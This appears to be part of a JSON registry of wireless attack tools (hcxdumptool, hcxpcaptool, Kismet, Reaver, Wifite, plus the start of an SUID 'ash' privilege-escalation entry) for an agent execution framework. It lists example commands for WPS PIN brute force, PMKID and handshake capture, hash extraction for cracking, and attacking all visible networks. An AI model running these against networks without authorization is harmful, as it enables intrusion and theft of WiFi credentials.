    "name": "hcxdumptool",
    "namespace": "security:wireless:hcxdumptool",
    "parameters": [
      {
        "name": "interface",
        "type": "string",
        "required": true,
        "description": "Wireless interface in monitor mode",
        "aliases": [
          "-i",
          "--interface"
        ],
        "flag": "-i"
      },
      {
        "name": "output",
        "type": "string",
        "required": false,
        "description": "Output file path",
        "aliases": [
          "-o",
          "--output"
        ],
        "flag": "-o"
      },
      {
        "name": "channel",
        "type": "string",
        "required": false,
        "description": "Channel list to hop",
        "aliases": [
          "-c",
          "--channel"
        ],
        "flag": "-c"
      },
      {
        "name": "timeout",
        "type": "integer",
        "required": false,
        "description": "Timeout in seconds",
        "aliases": [
          "-t",
          "--timeout"
        ],
        "flag": "-t"
      },
      {
        "name": "enable_status",
        "type": "boolean",
        "required": false,
        "description": "Enable real-time status display",
        "aliases": [
          "--enable_status"
        ],
        "flag": "--enable_status"
      },
      {
        "name": "disable_deauth",
        "type": "boolean",
        "required": false,
        "description": "Disable deauth detection",
        "aliases": [
          "--disable_deauth"
        ],
        "flag": "--disable_deauth"
      },
      {
        "name": "disable_assoc",
        "type": "boolean",
        "required": false,
        "description": "Disable association detection",
        "aliases": [
          "--disable_assoc"
        ],
        "flag": "--disable_assoc"
      },
      {
        "name": "disable_probe",
        "type": "boolean",
        "required": false,
        "description": "Disable probe request capture",
        "aliases": [
          "--disable_probe"
        ],
        "flag": "--disable_probe"
      },
      {
        "name": "essid",
        "type": "string",
        "required": false,
        "description": "Filter by ESSID",
        "aliases": [
          "-E",
          "--essid"
        ],
        "flag": "-E"
      },
      {
        "name": "bssid",
        "type": "string",
        "required": false,
        "description": "Filter by BSSID",
        "aliases": [
          "-B",
          "--bssid"
        ],
        "flag": "-B"
      },
      {
        "name": "write",
        "type": "string",
        "required": false,
        "description": "Write raw packets to file",
        "aliases": [
          "-w",
          "--write"
        ],
        "flag": "-w"
      },
      {
        "name": "read",
        "type": "file",
        "required": false,
        "description": "Read from capture file",
        "aliases": [
          "-r",
          "--read"
        ],
        "flag": "-r"
      },
      {
        "name": "v",
        "type": "boolean",
        "required": false,
        "description": "Verbose output",
        "aliases": [
          "-v",
          "--verbose"
        ],
        "flag": "-v"
      }
    ],
    "phase": "exploitation",
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "hcxdumptool GitHub",
        "url": "https://github.com/ZerBea/hcxdumptool"
      },
      {
        "label": "Hashcat WPA Cracking",
        "url": "https://hashcat.net/wiki/doku.php?id=cracking_wpawpa2"
      }
    ],
    "related_tools": [
      "hcxpcaptool",
      "aircrack-ng",
      "hashcat"
    ],
    "resource_profile": {
      "cpu": "medium",
      "memory_mb": 128,
      "network": "low",
      "disk_io": "high"
    },
    "risk_level": "medium",
    "services": [],
    "techniques": [
      "credential-access",
      "network-manipulation"
    ],
    "trust_level": "verified",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "packet-capture",
        "pmkid-hash",
        "handshake-capture"
      ],
      "consumes": [
        "network-manipulation-interface"
      ]
    }
  },
  {
    "_body": "\n# hcxpcaptool — Capture to Hash Converter\n\nhcxpcaptool (part of hcxtools) converts WLAN packet captures into hash formats suitable for offline cracking with hashcat (mode 22000) and John the Ripper.\n\n## Supported Hash Formats\n\n| Format | Flag | Cracker |\n|--------|------|---------|\n| PMKID | `-z` | hashcat -m 22000 |\n| EAPOL | `-j` | hashcat -m 22000 |\n| PMKID+EAPOL | `-k` | hashcat -m 22000 |\n| John | `-J` | John the Ripper |\n",
    "_source": "security-wireless-hcxpcaptool.md",
    "allowed-tools": [
      "hcxpcaptool",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [
      {
        "type": "wireless.hash.22000",
        "description": "Hashcat mode 22000 hash file",
        "mime": "text/plain",
        "trust_level": "verified"
      },
      {
        "type": "wireless.hash.john",
        "description": "John the Ripper hash file",
        "mime": "text/plain",
        "trust_level": "verified"
      }
    ],
    "attack_types": [
      "Discovery"
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "network.convert.capture",
      "network.hash.extract",
      "network.hash.pmkid",
      "network.hash.eapol"
    ],
    "contract": {
      "inputs": [
        {
          "type": "wireless.capture.file",
          "description": "Packet capture file (.pcap, .pcapng, .cap)"
        }
      ],
      "outputs": [
        {
          "type": "wireless.hash.22000",
          "description": "Hashcat mode 22000 hashes",
          "mime": "text/plain"
        },
        {
          "type": "wireless.hash.john",
          "description": "John the Ripper hashes",
          "mime": "text/plain"
        },
        {
          "type": "wireless.essid.list",
          "description": "Extracted ESSID list",
          "mime": "text/plain"
        }
      ],
      "side_effects": [],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 128,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Converts packet capture files to hash formats compatible with hashcat and john for WPA cracking.",
    "examples": [
      {
        "description": "Convert capture to hashcat mode 22000",
        "command": "hcxpcaptool -z hash.22000 capture.pcapng"
      },
      {
        "description": "Extract multiple hash formats",
        "command": "hcxpcaptool -z hash.22000 -j hash.john capture.pcapng"
      },
      {
        "description": "Extract ESSID list from capture",
        "command": "hcxpcaptool -E essids.txt capture.pcapng"
      },
      {
        "description": "Extract PMKID and identities",
        "command": "hcxpcaptool -z hash.22000 -I identities.txt capture.pcapng"
      },
      {
        "description": "Extract PMKID+EAPOL combined",
        "command": "hcxpcaptool -k combined.22000 capture.pcapng"
      },
      {
        "description": "Extract usernames from EAP",
        "command": "hcxpcaptool -U usernames.txt capture.pcapng"
      },
      {
        "description": "Verbose conversion",
        "command": "hcxpcaptool -v -z hash.22000 capture.pcapng"
      },
      {
        "description": "Full extraction of all data",
        "command": "hcxpcaptool -z hash.22000 -E essids.txt -I identities.txt -U usernames.txt capture.pcapng"
      }
    ],
    "execution": {
      "template": "hcxpcaptool -z {pmkid-output} {capture-file}",
      "sandbox": "execFile",
      "timeout_seconds": 3600,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "interactive",
      "local",
      "network-intensive",
      "pipes-stdin",
      "pipes-stdout"
    ],
    "global_vars": {
      "capture-file": "capture.pcapng",
      "pmkid-output": "hash.22000"
    },
    "id": "security-wireless-hcxpcaptool",
    "install": [
      {
        "method": "apt",
        "package_name": "hcxpcaptool",
        "commands": [
          "apt-get install -y hcxpcaptool"
        ]
      }
    ],
    "items": [
      "Hash"
    ],
    "name": "hcxpcaptool",
    "namespace": "security:wireless:hcxpcaptool",
    "parameters": [
      {
        "name": "pmkid",
        "type": "string",
        "required": false,
        "description": "Output PMKID hashes (hashcat mode 22000)",
        "aliases": [
          "-z",
          "--pmkid"
        ],
        "flag": "-z"
      },
      {
        "name": "output",
        "type": "string",
        "required": false,
        "description": "Output file path",
        "aliases": [
          "-o",
          "--output"
        ],
        "flag": "-o"
      },
      {
        "name": "essid-list",
        "type": "string",
        "required": false,
        "description": "Extract ESSID list to file",
        "aliases": [
          "-E",
          "--essid-list"
        ],
        "flag": "-E"
      },
      {
        "name": "identity",
        "type": "string",
        "required": false,
        "description": "Extract identities to file",
        "aliases": [
          "-I",
          "--identity"
        ],
        "flag": "-I"
      },
      {
        "name": "username",
        "type": "string",
        "required": false,
        "description": "Extract usernames to file",
        "aliases": [
          "-U",
          "--username"
        ],
        "flag": "-U"
      },
      {
        "name": "hashcat",
        "type": "string",
        "required": false,
        "description": "Output hashcat format hashes",
        "aliases": [
          "-j",
          "--hashcat"
        ],
        "flag": "-j"
      },
      {
        "name": "john",
        "type": "string",
        "required": false,
        "description": "Output John the Ripper hashes",
        "aliases": [
          "-J",
          "--john"
        ],
        "flag": "-J"
      },
      {
        "name": "pmkid-eapol",
        "type": "string",
        "required": false,
        "description": "Output PMKID+EAPOL hashes",
        "aliases": [
          "-k",
          "--pmkid-eapol"
        ],
        "flag": "-k"
      },
      {
        "name": "verbose",
        "type": "boolean",
        "required": false,
        "description": "Enable verbose output",
        "aliases": [
          "-v",
          "--verbose"
        ],
        "flag": "-v"
      },
      {
        "name": "h",
        "type": "boolean",
        "required": false,
        "description": "Show this help",
        "aliases": [
          "-h",
          "--help"
        ],
        "flag": "-h"
      }
    ],
    "phase": "exploitation",
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "hcxpcaptool GitHub",
        "url": "https://github.com/ZerBea/hcxtools"
      },
      {
        "label": "Hashcat mode 22000",
        "url": "https://hashcat.net/wiki/doku.php?id=cracking_wpawpa2"
      }
    ],
    "related_tools": [
      "hcxdumptool",
      "hashcat",
      "john"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 128,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "services": [],
    "techniques": [
      "credential-access",
      "network-manipulation"
    ],
    "trust_level": "verified",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "hashcat-hashes",
        "john-hashes",
        "essid-list"
      ],
      "consumes": [
        "packet-capture"
      ]
    }
  },
  {
    "_body": "\n\n# Kismet — Wireless Network Detector\n\nKismet is a wireless network detector, sniffer, and intrusion detection system. It works with WiFi (802.11), Bluetooth, and other wireless protocols.\n\n## Key Capabilities\n\n- **Network discovery**: Detects hidden and non-beaconing networks\n- **Packet sniffing**: Captures 802.11 traffic for offline analysis\n- **WIDS**: Wireless intrusion detection with alerting\n- **Wardriving**: GPS integration for mapping networks\n- **Multi-source**: Supports multiple interfaces simultaneously\n",
    "_source": "security-wireless-kismet.md",
    "allowed-tools": [
      "kismet",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [
      {
        "type": "wireless.capture.pcap",
        "description": "Captured 802.11 packet data",
        "mime": "application/vnd.tcpdump.pcap",
        "trust_level": "verified"
      },
      {
        "type": "wireless.log",
        "description": "Kismet alert and event log",
        "mime": "text/plain",
        "trust_level": "verified"
      }
    ],
    "attack_types": [
      "Discovery"
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "network.detect",
      "network.sniff",
      "network.intrusion.detect",
      "network.enumerate"
    ],
    "contract": {
      "inputs": [
        {
          "type": "wireless.interface",
          "description": "Wireless interface in monitor mode"
        },
        {
          "type": "config.file",
          "description": "Kismet configuration file"
        },
        {
          "type": "wireless.gps.data",
          "description": "GPS data for wardriving"
        }
      ],
      "outputs": [
        {
          "type": "wireless.capture.pcap",
          "description": "Packet capture output",
          "mime": "application/vnd.tcpdump.pcap"
        },
        {
          "type": "wireless.map.data",
          "description": "Detected networks with GPS coordinates",
          "mime": "text/plain"
        }
      ],
      "side_effects": [
        "raw_socket_access",
        "network_traffic"
      ],
      "resource_cost": {
        "cpu": "high",
        "memory_mb": 512,
        "network": "medium",
        "disk_io": "high"
      }
    },
    "dependencies": [],
    "description": "Wireless network detector, sniffer, and intrusion detection system for 802.11 networks.",
    "examples": [
      {
        "description": "Start Kismet with default interface",
        "command": "kismet"
      },
      {
        "description": "Start with custom config file",
        "command": "kismet -c /etc/kismet/kismet.conf"
      },
      {
        "description": "Run as daemon",
        "command": "kismet --daemonize"
      },
      {
        "description": "Start with verbose logging",
        "command": "kismet -v -l /var/log/kismet"
      },
      {
        "description": "Connect to remote Kismet server",
        "command": "kismet -s 192.168.1.100 -p 2501"
      },
      {
        "description": "Disable GPS on embedded device",
        "command": "kismet -n"
      },
      {
        "description": "Log only specific packet types",
        "command": "kismet -l alert,packet,gps"
      },
      {
        "description": "Specify server arguments for sources",
        "command": "kismet --server-args \"-t wlan0\""
      }
    ],
    "execution": {
      "template": "kismet",
      "sandbox": "execFile",
      "timeout_seconds": 86400,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "requires-root"
    ],
    "global_vars": {},
    "id": "security-wireless-kismet",
    "install": [
      {
        "method": "apt",
        "package_name": "kismet",
        "commands": [
          "apt-get install -y kismet"
        ]
      }
    ],
    "items": [
      "NoCreds"
    ],
    "name": "kismet",
    "namespace": "security:wireless:kismet",
    "parameters": [
      {
        "name": "config",
        "type": "file",
        "required": false,
        "description": "Path to Kismet configuration file",
        "aliases": [
          "-c",
          "--config"
        ],
        "flag": "-c"
      },
      {
        "name": "server",
        "type": "string",
        "required": false,
        "description": "Kismet server address",
        "aliases": [
          "-s",
          "--server"
        ],
        "flag": "-s"
      },
      {
        "name": "port",
        "type": "integer",
        "required": false,
        "description": "Kismet server port",
        "aliases": [
          "-p",
          "--port"
        ],
        "flag": "-p"
      },
      {
        "name": "verbose",
        "type": "boolean",
        "required": false,
        "description": "Enable verbose logging",
        "aliases": [
          "-v",
          "--verbose"
        ],
        "flag": "-v"
      },
      {
        "name": "daemonize",
        "type": "boolean",
        "required": false,
        "description": "Run as background daemon",
        "aliases": [
          "--daemonize"
        ],
        "flag": "--daemonize"
      },
      {
        "name": "logging",
        "type": "string",
        "required": false,
        "description": "Set logging types",
        "aliases": [
          "-l",
          "--logging"
        ],
        "flag": "-l"
      },
      {
        "name": "no-gps",
        "type": "boolean",
        "required": false,
        "description": "Disable GPS support",
        "aliases": [
          "-n",
          "--no-gps"
        ],
        "flag": "-n"
      },
      {
        "name": "server-args",
        "type": "string",
        "required": false,
        "description": "Additional arguments for kismet server",
        "aliases": [
          "--server-args"
        ],
        "flag": "--server-args"
      },
      {
        "name": "file",
        "type": "file",
        "required": false,
        "default": null,
        "description": "Write logs to file",
        "aliases": [
          "-f",
          "--file"
        ],
        "flag": "-f"
      }
    ],
    "phase": "enumeration",
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "Kismet Official Site",
        "url": "https://www.kismetwireless.net/"
      },
      {
        "label": "Kismet Documentation",
        "url": "https://www.kismetwireless.net/documentation/"
      }
    ],
    "related_tools": [
      "aircrack-ng",
      "wifite",
      "wireshark"
    ],
    "resource_profile": {
      "cpu": "high",
      "memory_mb": 512,
      "network": "medium",
      "disk_io": "high"
    },
    "risk_level": "medium",
    "services": [],
    "techniques": [
      "discovery",
      "network-manipulation"
    ],
    "trust_level": "verified",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "network-map",
        "packet-capture",
        "alert-log"
      ],
      "consumes": [
        "network-manipulation-interface",
        "config-file"
      ]
    }
  },
  {
    "_body": "\n\n# Reaver — WPS PIN Attack Tool\n\nReaver performs a brute-force attack against WiFi Protected Setup (WPS) registrar PINs in order to recover WPA/WPA2 passphrases. It targets the WPS vulnerability in access points that have WPS enabled.\n\n## How It Works\n\nReaver sends WPS PIN attempts to the target AP. When the correct PIN is found, the AP reveals the WPA/WPA2 passphrase. The default WPS PIN is often 8 digits, with the last digit being a checksum.\n\n## Key Features\n\n- **Session resume**: Saves progress so attacks can continue after interruption\n- **Lockout detection**: Detects WPS lockout and waits before retrying\n- **Auto mode**: Automatically selects optimal parameters\n- **Exhaustive search**: Tries all possible PIN combinations\n",
    "_source": "security-wireless-reaver.md",
    "allowed-tools": [
      "reaver",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [
      {
        "type": "wireless.wps.pin",
        "description": "Recovered WPS PIN",
        "mime": "text/plain",
        "trust_level": "verified"
      },
      {
        "type": "wireless.wpa.psk",
        "description": "Cracked WPA passphrase",
        "mime": "text/plain",
        "trust_level": "verified"
      }
    ],
    "attack_types": [
      "Discovery"
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "network.wps.bruteforce",
      "network.crack.wpa",
      "network.pin.attack"
    ],
    "contract": {
      "inputs": [
        {
          "type": "wireless.interface",
          "description": "Wireless interface in monitor mode"
        },
        {
          "type": "wireless.bssid",
          "description": "Target AP BSSID"
        },
        {
          "type": "wireless.channel",
          "description": "Target channel"
        }
      ],
      "outputs": [
        {
          "type": "wireless.wps.pin",
          "description": "Recovered WPS PIN",
          "mime": "text/plain"
        },
        {
          "type": "wireless.wpa.psk",
          "description": "WPA passphrase recovered via WPS",
          "mime": "text/plain"
        }
      ],
      "side_effects": [
        "network_traffic",
        "raw_socket_access",
        "network_traffic"
      ],
      "resource_cost": {
        "cpu": "medium",
        "memory_mb": 32,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "WiFi Protected Setup (WPS) PIN brute-force attack tool for recovering WPA/WPA2 passphrases.",
    "examples": [
      {
        "description": "Basic WPS PIN brute force",
        "command": "reaver -i wlan0mon -b 00:11:22:33:44:55"
      },
      {
        "description": "With channel and verbose output",
        "command": "reaver -i wlan0mon -b 00:11:22:33:44:55 -c 6 -vv"
      },
      {
        "description": "Resume from saved session",
        "command": "reaver -i wlan0mon -b 00:11:22:33:44:55 -s session.wpc"
      },
      {
        "description": "Test specific PIN",
        "command": "reaver -i wlan0mon -b 00:11:22:33:44:55 -p 12345670"
      },
      {
        "description": "With lockout delay and no association",
        "command": "reaver -i wlan0mon -b 00:11:22:33:44:55 -l 60 -A"
      },
      {
        "description": "Exhaustive mode with auto options",
        "command": "reaver -i wlan0mon -b 00:11:22:33:44:55 -X -a"
      },
      {
        "description": "Quiet mode with 30s timeout",
        "command": "reaver -i wlan0mon -b 00:11:22:33:44:55 -q -t 30"
      },
      {
        "description": "Fixed channel with delay",
        "command": "reaver -i wlan0mon -b 00:11:22:33:44:55 -c 11 -d 5"
      }
    ],
    "execution": {
      "template": "reaver -i {interface} -b {bssid}",
      "sandbox": "execFile",
      "timeout_seconds": 86400,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "requires-root"
    ],
    "global_vars": {
      "interface": "wlan0mon",
      "bssid": "00:11:22:33:44:55"
    },
    "id": "security-wireless-reaver",
    "install": [
      {
        "method": "apt",
        "package_name": "reaver",
        "commands": [
          "apt-get install -y reaver"
        ]
      }
    ],
    "items": [
      "NoCreds"
    ],
    "name": "reaver",
    "namespace": "security:wireless:reaver",
    "parameters": [
      {
        "name": "interface",
        "type": "string",
        "required": true,
        "description": "Wireless interface name (monitor mode)",
        "aliases": [
          "-i",
          "--interface"
        ],
        "flag": "-i"
      },
      {
        "name": "bssid",
        "type": "string",
        "required": true,
        "description": "Target AP BSSID",
        "aliases": [
          "-b",
          "--bssid"
        ],
        "flag": "-b"
      },
      {
        "name": "channel",
        "type": "integer",
        "required": false,
        "description": "Wireless channel of target AP",
        "aliases": [
          "-c",
          "--channel"
        ],
        "flag": "-c"
      },
      {
        "name": "pin",
        "type": "string",
        "required": false,
        "description": "WPS PIN to test",
        "aliases": [
          "-p",
          "--pin"
        ],
        "flag": "-p"
      },
      {
        "name": "lock-delay",
        "type": "integer",
        "required": false,
        "description": "Delay in seconds after WPS lockout",
        "aliases": [
          "-l",
          "--lock-delay"
        ],
        "flag": "-l"
      },
      {
        "name": "timeout",
        "type": "integer",
        "required": false,
        "description": "Receive timeout in seconds",
        "aliases": [
          "-t",
          "--timeout"
        ],
        "flag": "-t"
      },
      {
        "name": "session-file",
        "type": "file",
        "required": false,
        "description": "Session file for resume support",
        "aliases": [
          "-s",
          "--session"
        ],
        "flag": "-s"
      },
      {
        "name": "verbose",
        "type": "boolean",
        "required": false,
        "description": "Enable verbose output",
        "aliases": [
          "-v",
          "--verbose"
        ],
        "flag": "-v"
      },
      {
        "name": "quiet",
        "type": "boolean",
        "required": false,
        "description": "Quiet mode, suppress output",
        "aliases": [
          "-q",
          "--quiet"
        ],
        "flag": "-q"
      },
      {
        "name": "auto",
        "type": "boolean",
        "required": false,
        "description": "Auto-detect best advanced options",
        "aliases": [
          "-a",
          "--auto"
        ],
        "flag": "-a"
      },
      {
        "name": "no-associate",
        "type": "boolean",
        "required": false,
        "description": "Do not associate with AP",
        "aliases": [
          "-A",
          "--no-associate"
        ],
        "flag": "-A"
      },
      {
        "name": "exhaustive",
        "type": "boolean",
        "required": false,
        "description": "Exhaustive PIN search",
        "aliases": [
          "-X",
          "--exhaustive"
        ],
        "flag": "-X"
      },
      {
        "name": "N",
        "type": "boolean",
        "required": false,
        "description": "Ignore NACKs",
        "aliases": [
          "-N",
          "--no-nacks"
        ],
        "flag": "-N"
      },
      {
        "name": "W",
        "type": "boolean",
        "required": false,
        "description": "Windows 7 compatibility",
        "aliases": [
          "-W",
          "--win7-compat"
        ],
        "flag": "-W"
      },
      {
        "name": "d",
        "type": "boolean",
        "required": false,
        "description": "Delay between PIN attempts",
        "aliases": [
          "-d",
          "--delay"
        ],
        "flag": "-d"
      },
      {
        "name": "f",
        "type": "boolean",
        "required": false,
        "description": "Disable channel hopping",
        "aliases": [
          "-f",
          "--fixed"
        ],
        "flag": "-f"
      },
      {
        "name": "o",
        "type": "boolean",
        "required": false,
        "description": "Output to file",
        "aliases": [
          "-o",
          "--output"
        ],
        "flag": "-o"
      },
      {
        "name": "r",
        "type": "boolean",
        "required": false,
        "description": "Recurring delay",
        "aliases": [
          "-r",
          "--recurring-delay"
        ],
        "flag": "-r"
      }
    ],
    "phase": "exploitation",
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "Reaver GitHub",
        "url": "https://github.com/t6x/reaver-wps-fork-t6x"
      },
      {
        "label": "WPS Attack Methodology",
        "url": "https://github.com/t6x/reaver-wps-fork-t6x/wiki"
      }
    ],
    "related_tools": [
      "bully",
      "aircrack-ng",
      "wifite"
    ],
    "resource_profile": {
      "cpu": "medium",
      "memory_mb": 32,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "services": [],
    "techniques": [
      "credential-access",
      "network-manipulation"
    ],
    "trust_level": "verified",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "wps-pin",
        "wpa-passphrase",
        "session-file"
      ],
      "consumes": [
        "target-bssid",
        "network-manipulation-interface"
      ]
    }
  },
  {
    "_body": "\n\n# Wifite — Automated Wireless Auditor\n\nWifite automates WiFi auditing by orchestrating aircrack-ng, reaver, bully, and hcxdumptool. It targets WEP, WPA, and WPS-enabled networks with minimal user interaction.\n\n## Attack Modes\n\n| Mode | Description |\n|------|-------------|\n| WEP | ARP replay + packet injection, crack when enough IVs |\n| WPA | Deauth + handshake capture, crack with dictionary |\n| WPS | PIN brute-force via reaver/bully |\n| PMKID | PMKID capture via hcxdumptool |\n",
    "_source": "security-wireless-wifite.md",
    "allowed-tools": [
      "wifite",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [
      {
        "type": "wireless.crack.key",
        "description": "Cracked WPA/WEP key",
        "mime": "text/plain",
        "trust_level": "verified"
      },
      {
        "type": "wireless.capture.handshake",
        "description": "Captured WPA handshake",
        "mime": "application/vnd.tcpdump.pcap",
        "trust_level": "verified"
      }
    ],
    "attack_types": [
      "Discovery"
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "network.audit",
      "network.crack.wep",
      "network.crack.wpa",
      "network.wps.bruteforce",
      "network.deauth",
      "network.pmkid"
    ],
    "contract": {
      "inputs": [
        {
          "type": "wireless.interface",
          "description": "Wireless interface name"
        },
        {
          "type": "wordlist.file",
          "description": "Dictionary file for cracking"
        }
      ],
      "outputs": [
        {
          "type": "wireless.crack.key",
          "description": "Cracked wireless key",
          "mime": "text/plain"
        },
        {
          "type": "wireless.capture.handshake",
          "description": "Captured handshake",
          "mime": "application/vnd.tcpdump.pcap"
        }
      ],
      "side_effects": [
        "network_traffic",
        "raw_socket_access",
        "network_traffic"
      ],
      "resource_cost": {
        "cpu": "medium",
        "memory_mb": 128,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Automated wireless attack tool that orchestrates aircrack-ng, reaver, and other tools to audit WiFi networks.",
    "examples": [
      {
        "description": "Attack all visible WiFi networks automatically",
        "command": "wifite -i wlan0"
      },
      {
        "description": "Attack only WPA networks",
        "command": "wifite -i wlan0 --wpa --no-wep"
      },
      {
        "description": "Attack specific BSSID",
        "command": "wifite -i wlan0 -b 00:11:22:33:44:55"
      },
      {
        "description": "Use only PMKID attack",
        "command": "wifite -i wlan0 --pmkid --no-wps --no-deauth"
      },
      {
        "description": "Skip deauth and WPS attacks",
        "command": "wifite -i wlan0 --no-deauth --no-wps"
      },
      {
        "description": "With custom wordlist",
        "command": "wifite -i wlan0 --wordlist /usr/share/wordlists/rockyou.txt"
      },
      {
        "description": "Attack 5GHz networks",
        "command": "wifite -i wlan0 -5 --no-wep"
      },
      {
        "description": "Use random MAC and cloaking",
        "command": "wifite -i wlan0 --random-mac --cloaking"
      }
    ],
    "execution": {
      "template": "wifite -i {interface}",
      "sandbox": "execFile",
      "timeout_seconds": 86400,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "requires-root"
    ],
    "global_vars": {
      "interface": "wlan0"
    },
    "id": "security-wireless-wifite",
    "install": [
      {
        "method": "apt",
        "package_name": "wifite",
        "commands": [
          "apt-get install -y wifite"
        ]
      }
    ],
    "items": [
      "Hash"
    ],
    "name": "wifite",
    "namespace": "security:wireless:wifite",
    "parameters": [
      {
        "name": "interface",
        "type": "string",
        "required": false,
        "description": "Wireless interface name",
        "aliases": [
          "-i",
          "--interface"
        ],
        "flag": "-i"
      },
      {
        "name": "essid",
        "type": "string",
        "required": false,
        "description": "Target network ESSID",
        "aliases": [
          "-e",
          "--essid"
        ],
        "flag": "-e"
      },
      {
        "name": "bssid",
        "type": "string",
        "required": false,
        "description": "Target network BSSID",
        "aliases": [
          "-b",
          "--bssid"
        ],
        "flag": "-b"
      },
      {
        "name": "channel",
        "type": "string",
        "required": false,
        "description": "Target channel",
        "aliases": [
          "-c",
          "--channel"
        ],
        "flag": "-c"
      },
      {
        "name": "wep",
        "type": "boolean",
        "required": false,
        "description": "Attack only WEP networks",
        "aliases": [
          "-w",
          "--wep"
        ],
        "flag": "-w"
      },
      {
        "name": "wpa",
        "type": "boolean",
        "required": false,
        "description": "Attack only WPA networks",
        "aliases": [
          "-t",
          "--wpa"
        ],
        "flag": "-t"
      },
      {
        "name": "verbose",
        "type": "boolean",
        "required": false,
        "description": "Enable verbose output",
        "aliases": [
          "-v",
          "--verbose"
        ],
        "flag": "-v"
      },
      {
        "name": "no-wps",
        "type": "boolean",
        "required": false,
        "description": "Skip WPS PIN attacks",
        "aliases": [
          "--no-wps"
        ],
        "flag": "--no-wps"
      },
      {
        "name": "no-deauth",
        "type": "boolean",
        "required": false,
        "description": "Skip deauth attacks",
        "aliases": [
          "--no-deauth"
        ],
        "flag": "--no-deauth"
      },
      {
        "name": "pmkid",
        "type": "boolean",
        "required": false,
        "description": "Use PMKID attack",
        "aliases": [
          "--pmkid"
        ],
        "flag": "--pmkid"
      },
      {
        "name": "handshake-dir",
        "type": "string",
        "required": false,
        "description": "Directory to save handshakes",
        "aliases": [
          "--handshake-dir"
        ],
        "flag": "--handshake-dir"
      },
      {
        "name": "wordlist",
        "type": "file",
        "required": false,
        "description": "Dictionary file for cracking",
        "aliases": [
          "--wordlist"
        ],
        "flag": "--wordlist"
      },
      {
        "name": "2",
        "type": "boolean",
        "required": false,
        "description": "Scan 2.4GHz networks",
        "aliases": [
          "-2",
          "--2ghz"
        ],
        "flag": "-2"
      },
      {
        "name": "5",
        "type": "boolean",
        "required": false,
        "description": "Scan 5GHz networks",
        "aliases": [
          "-5",
          "--5ghz"
        ],
        "flag": "-5"
      },
      {
        "name": "cloaking",
        "type": "boolean",
        "required": false,
        "description": "Enable cloaking",
        "aliases": [
          "--cloaking"
        ],
        "flag": "--cloaking"
      },
      {
        "name": "dict",
        "type": "boolean",
        "required": false,
        "description": "Use dictionary attack",
        "aliases": [
          "--dict"
        ],
        "flag": "--dict"
      },
      {
        "name": "mac",
        "type": "boolean",
        "required": false,
        "description": "MAC address to use",
        "aliases": [
          "--mac"
        ],
        "flag": "--mac"
      },
      {
        "name": "no_wep",
        "type": "boolean",
        "required": false,
        "description": "Skip WEP attacks",
        "aliases": [
          "--no-wep"
        ],
        "flag": "--no-wep"
      },
      {
        "name": "no_wpa",
        "type": "boolean",
        "required": false,
        "description": "Skip WPA attacks",
        "aliases": [
          "--no-wpa"
        ],
        "flag": "--no-wpa"
      },
      {
        "name": "p",
        "type": "boolean",
        "required": false,
        "description": "Min signal power threshold",
        "aliases": [
          "-p",
          "--power"
        ],
        "flag": "-p"
      },
      {
        "name": "random_mac",
        "type": "boolean",
        "required": false,
        "description": "Randomize MAC address",
        "aliases": [
          "--random-mac"
        ],
        "flag": "--random-mac"
      },
      {
        "name": "s",
        "type": "boolean",
        "required": false,
        "description": "Attack only WPS networks",
        "aliases": [
          "-s",
          "--wps"
        ],
        "flag": "-s"
      }
    ],
    "phase": "exploitation",
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "Wifite GitHub",
        "url": "https://github.com/derv82/wifite2"
      },
      {
        "label": "Wifite Documentation",
        "url": "https://github.com/derv82/wifite2/wiki"
      }
    ],
    "related_tools": [
      "aircrack-ng",
      "reaver",
      "bully",
      "kismet"
    ],
    "resource_profile": {
      "cpu": "medium",
      "memory_mb": 128,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "services": [],
    "techniques": [
      "credential-access",
      "network-manipulation"
    ],
    "trust_level": "verified",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "cracked-key",
        "handshake-capture",
        "pmkid-hash"
      ],
      "consumes": [
        "network-manipulation-interface",
        "wordlist"
      ]
    }
  },
  {
    "_body": "\n\n# ash — Almquist Shell\n\nash is a lightweight Unix shell commonly used in embedded systems and as /bin/sh on some BSD systems. When installed with SUID, it can spawn a privileged shell with `-p` flag.\n",
    "_source": "ash.md",
    "allowed-tools": [
      "ash",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "Repository Maintainers",
    "capabilities": [
      "security.privilege-escalation.shell",
      "security.execution.command",
      "system.file.write"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Shell or command output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
